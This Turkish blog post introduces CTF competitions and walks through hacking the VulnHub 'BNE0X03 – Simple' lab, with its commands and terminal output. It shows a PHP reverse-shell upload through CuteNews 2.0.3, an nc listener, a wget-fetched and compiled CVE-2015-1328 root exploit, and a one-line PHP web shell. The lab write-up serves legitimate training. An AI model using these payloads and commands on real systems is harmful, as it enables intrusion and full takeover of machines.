İÇİNDEKİLER
- Giriş
- CTF Nedir ?
- CTF Ortamlarının Hazırlanması
- Örnek CTF Çözümü
GİRİŞ
Siber güvenlikte CTF yani Capture The Flag siber güvenlik ile ilgilenenler ve siber güvenliği kariyer olarak planlayan hemen herkes için önemli bir olaydır. Buradaki yazıda CTF’in ne olduğunu, CTF ortamlarının nasıl hazırlanabileceğini ve örnek bir CTF’in çözümünü bulabilirsiniz.
CTF NEDİR ?
Siber güvenlik alanında kendisini geliştirmeyi hedefleyen kişiler bir noktadan sonra öğrendikleri teknik ve teorik bilgilerin bir şekilde kullanarak pratik yapmaları gerektiklerini fark edeceklerdir. Fakat siber güvenlik alanında bir başkasına zarar vermeden, etik değerler içinde pratik yapabilecekleri bir yer olmadığının farkına varacaklar. Bu noktada araya CTF yani Capture The Flag giriyor. CTF’i Türkçeye çevirdiğimiz zaman Bayrağı Ele Geçirme anlamını elde ederiz. Siber güvenlik alanında ilk kez bir CTF ortamı DEFCON tarafından 1996 yılında oluşturulmuştur. Günümüzde CTF ortamları kişinin kendisini geliştirmesi, şirketlerin işe alımları ve siber güvenlik yarışmaları için kullanılmaktadır. CTF ortamları genellikle bir sanal makineye aktardığımız siber güvenlik laboratuvar ortamıdır. Bu sanal makineyi Hack’lemeye çalışırız ve genellikle belli yerlerde bulunan flag’leri yani metinleri bulmaya çalışırız. Genellikle bu flag’leri elde etmek için adım adım makineyi hack’lememiz gerekir. Aşağıda birkaç örnek flag bulabilirsiniz.
Örnek Flag’ler
177b3cd8562289f37382721c28381f02
d335e2d13f36558ba1e67969a1718af7
Görmüş olduğunuz gibi Flag’ler bazen anlamsız bazen de yaptığınız işlemle ilgili bir şey olabilir.
CTF ORTAMLARININ HAZIRLANMASI
CTF ortamlarını çeşitli yerlerden hazırlayabiliriz. Örneğin Tryhackme, Hackthebox gibi web siteleri üzerinden bir VPN yardımı ile hazırlamış oldukları CTF ortamlarına katılabilir ve pratik yapabiliriz. Bu yazıda ise bir sanal makine ile CTF ortamını kurmayı göstereceğim. Hazır oluşturulmuş CTF ortamını çeşitli yerlerden bulabilirsiniz örneğin Github benim tercih ettiğim yer ise VulnHub olacak. VulnHub çok geniş bir CTF koleksiyonuna sahip olup sürekli güncel tutulmaktadır. Ben bu yazıda “BNE0X03 – SIMPLE” isimli CTF ortamını indirip bunun üzerinden çözümü anlatacağım. “BNE0X03 – SIMPLE” isimli ortamı VulnHub’da arattıktan sonra indiriyoruz daha sonra da indirdiğimiz bu ortamı kullandığımız sanal makine programına import (içe aktar) etmemiz gerekiyor. İndirip import ettiğimiz sanal makinemizin ayarlarından network ayarlarını Bridged olarak seçmemiz gerekiyor. Bu sayede sanal makinemiz ile kullandığımız bilgisayar aynı ağda gözükecek. Eğer kullandığımız fiziksel bilgisayarımız üzerinden CTF çözümü yapacaksak direkt çözüm bölümünden devam edebiliriz fakat fiziksel bilgisayar yerine bir başka sanal makine ile çözümleme yapacaksak o zaman o sanal makinenin de bridged network’e bağlı olduğundan emin olmalıyız.
CTF ÇÖZÜMÜ
Öncelikle sanal makinemize import ettiğimiz CTF ortamının ip adresini bulmak ile işe başlayalım. Bunun için terminalimize “netdiscover” yazarak netdiscover aracımızı kullanıyoruz. Bu araç bizim ağımıza bağlı olan bütün cihazların ip, mac, cihaz ismi vb. özelliklerini gösterecek. Ben sanal makine ortamları için VMware programını kullanıyorum dolayısıyla netdiscover’ı kullandığım zaman CTF makinemin adının VMware ile başlayacağını biliyorum. Buradan ip adresini bulduktan sonra ilk web sitesinde bulunan klasörleri aratacağım. Bunun için de “dirb” aracını kullanacağım. Kullanımı için
dirb http://ip-adresi
dirb kısaca bir text belgesinden var olabilecek web klasör uzantı isimlerini alır ve bu text değerlerini ip adresi ile birleştirerek birer istek gönderir eğer bu isteklerden yanıt gelirse bunu ekrana yazdırır. Bu sayede girebileceğimiz klasörleri öğrenmiş oluruz.
Şimdi ise biraz web sitesinden bilgi almak amacıyla web tarayıcıma ip adresini giriyorum. Burada gözüme çarpan ilk şey “CuteNews v.2.0.3” oluyor ve internette biraz bunun araştırmasını yapıyorum. Daha sonrasında CuteNews v.2.0.3 için bir sistem açığı olduğunu öğreniyorum. Bu açık ise sistemde oluşturduğumuz bir kullanıcı için profil resmi yüklerken php uzantılı dosya yükleyebileceğimiz hakkında. Dolayısıyla sisteme bir php-shell yükleyebiliriz. Bunu yapmanın iki farklı yolu var bir tanesi shell’i web url’sinden kullanmak, diğeri ise karşıya yüklediğimiz php kodu ile bir bağlantı noktası oluşturmak ve o bağlantı noktasına bağlanarak Shell komutlarını kullanmaktır. Her iki yöntemi de göstereceğim fakat ben daha rahat olması için çözümün devamında ikinci yöntemi kullanacağım.
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
github’dan bu php kodunu kullanıyorum ve 49 ve 50 satırlardaki ip ve portları değiştiriyorum. Aslında burada portu değiştirmesek de olur çünkü 1234 portunun boş olduğunu nmap taraması yaparak görebiliriz. IP kısmına ise kendi makinemizin ip adresini giriyoruz.
Artık sistem hakkında gerekli bilgiye sahibiz, hangi açıkları kullanacağımızı ve hangi araçları kullanaraktan sistemden faydalanacağımızı biliyoruz. Şimdi ip adresini tekrardan Browser üzerinden açıyorum. Daha sonra bir kullanıcı profili oluşturuyorum ve “Personal Options” kısmından profil ayarlarına giriyorum. Burada profil resmi yükleme kısmı ile karşılaşıyorum işte hazırlamış olduğumuz php kodunu buraya yükleyeceğiz. Yükleme işlemini yaptıktan sonra “nc” aracını kullanacağız.
<nc -lvp 1234 Karşı-Makinenin-IP-Adresi>
Kısaca burada
-l Listen mode (Dinleme Modu)
-v Verbose (Ayrıntılar için)
-p Port (php kodunda belirttiğimiz port)
Artık nc ile karşıdakinin bağlantısının aktif olup dinlemeye hazırız. Php Kodumuzu aktif etmek için ise dirb ile bulduğumuz
==> DIRECTORY: http://192.168.1.72/uploads/
Uzantısına gidiyorum. Burada da yüklediğimiz php koduna tıklayıp bağlantıyı aktif ediyorum.
Nc ile izlemeye hazırda bulundurduğum terminalimin çıktısı artık bu şekilde
┌──(root💀kali)-[/home/kali/Desktop]
└─# nc -lvp 1234 192.168.1.72
listening on [any] 1234 …
connect to [192.168.1.79] from 192.168.1.72 [192.168.1.72] 33461
Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux
15:18:04 up 28 min, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can’t access tty; job control turned off
$
Buraya kadar iyi ilerledik fakat terminale “whoami” komutunu girersek hala root yetkisine sahip olmadığımızı görebiliriz.
$ whoami
www-data
Root yetkisi almak için biraz internette araştırma yapıyorum ve karşıma 2015-1328 numaralı exploit, exploit-db sitesinden karşıma çıkıyor. Kısaca bu exploit kodunu nc ile bağlandığımız sisteme yüklüyoruz daha sonra bu c ile yazılmış exploit’i aktif etmek için /tmp içine bu kodu indirip gcc ile compile edip çalıştırıyoruz.
$ cd /tmp
$ wget https://www.exploit-db.com/raw/37292
–2022-04-30 15:52:06– https://www.exploit-db.com/raw/37292
Resolving www.exploit-db.com (www.exploit-db.com)… 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443… connected.
HTTP request sent, awaiting response… 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: ‘37292’
0K …. 100% 290M=0s
2022-04-30 15:52:14 (290 MB/s) – ‘37292’ saved [5119/5119]
$ ls
37292
$ mv 37292 37292.c
$ ls
37292.c
$ gcc 37292.c -o exploit
$ ls
37292.c
exploit
$ chmod 777 exploit
$ ls
37292.c
exploit
$ ls -l
total 20
-rw-rw-rw- 1 www-data www-data 5119 Apr 30 15:52 37292.c
-rwxrwxrwx 1 www-data www-data 12189 Apr 30 15:53 exploit
$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can’t access tty; job control turned off
# whoami
root
#
Artık sistemde root yetkisine sahibiz. Şimdi sıra CTF’in asıl amacı olan bayrağı bulmakta. Sistem bizim root yetkisi olmadan çoğu işi yapamayacağımız şekilde tasarlandığından dolayı bayrağa bakacağım ilk yer /root klasörü olacak.
# cd /root
# ls
flag.txt
Bayrağı bulduk. Şimdi ise içini okuyup görevi tamamlayabiliriz.
# cat flag.txt
U wyn teh Interwebs!!1eleven11!!1!
Hack the planet!
Başarıyla CTF ortamımızı çözümledik. Şimdi ise önceden bahsettiğim php kodundan bahsedeceğim. Bu sefer bir bağlantı noktası oluşturmak yerine sisteme yüklediğimiz php kodunu web sitesinin url’sinden bir web Shell gibi kullanacağız. Ben bu php kodunu Grobinson.me sitesinden buldum.
“<?php echo shell_exec($_GET[‘e’].’ 2>&1′); ?>” Kodumuz bu şekilde şimdi yapmamız gereken şey bunu .php uzantısı ile kaydedip yine sisteme yüklemek olacak. Ben bu kodu avatar.php olarak kaydettim. Şimdi yine /uploads/ üzerinden bu yüklemiş olduğum kodu aktif ediyorum. An itibari ile bulunduğum adresin şu şekilde olmasını bekliyorum http://CTF-ip-adresi/uploads/avatar.php peki ben bu web shell’i nasıl kullanabilirim ? avatar.php yazısından sonra ?e= koyuyoruz ve devamında kullanmak istediğimiz terminal komutunu yazıyoruz test etmek amacıyla http://CTF-ip-adresi/uploads/avatar.php?e=whoami bize sahip olduğumuz kullanıcı yetkisini web sitesi üzerinden ekrana yazdıracaktır.
KAYNAKÇA
Bahsedilen CTF ortamları
TRYHACKME – https://tryhackme.com
HACKTHEBOX – https://www.hackthebox.com/
VULNHUB – https://www.vulnhub.com
Resim – https://www.freepik.com/free-photo/medium-shot-man-holding-device_20824741.htm
“Cyber Security at the Ministry of Defence” by Defence Images is licensed under CC BY-NC 2.0. To view a copy of this license, visit https://creativecommons.org/licenses/by-nc/2.0/?ref=openverse.
Bu eser Creative Commons Atıf-AynıLisanslaPaylaş 4.0 Uluslararası Lisansı ile lisanslanmıştır.
Ben Berk KARADALAN
Lise Eğitimimi Tekirdağ/Çorlu Endüstri Meslek Lisesi – Bilgisayar Bölümünde Tamamladım. Liseyi okuduğum son sene BSH çerkezköy muhasebe bölümünde bir dönemlik staj yaptım. Daha sonra Marmara Üniversitesi Bilgisayar ve Öğretim Teknolojileri Öğretmenliğinde ve İstanbul AUZEF – Yönetim Bilişim Sistemlerinde Eğitim Almaya Hak Kazandım. Uzun Zamandır Bilgisayar Alanında Aldığım Eğitimler ile Kendimi Bu Alanda Geliştirmeyi Hedefledim. Şu anda bir şirkette server hizmetleri alanında çalışmaktayım. Kısaca hobilerimden bahsetmem gerekirse çizgi roman koleksiyonculuğu, swing ve tango dansları, satranç ve vücut geliştirme, masa oyunları alanlarında ilgiliyim . İlerideki hedefim de siber güvenlik alanında bir pentester olmak linux ve açık kaynaklı sistemleri incelemeyi ve güvenli kod araştırmaları yapmayı seviyorum. Marmara üniversitesinde swing ve tango kulübünde yer almaktayım.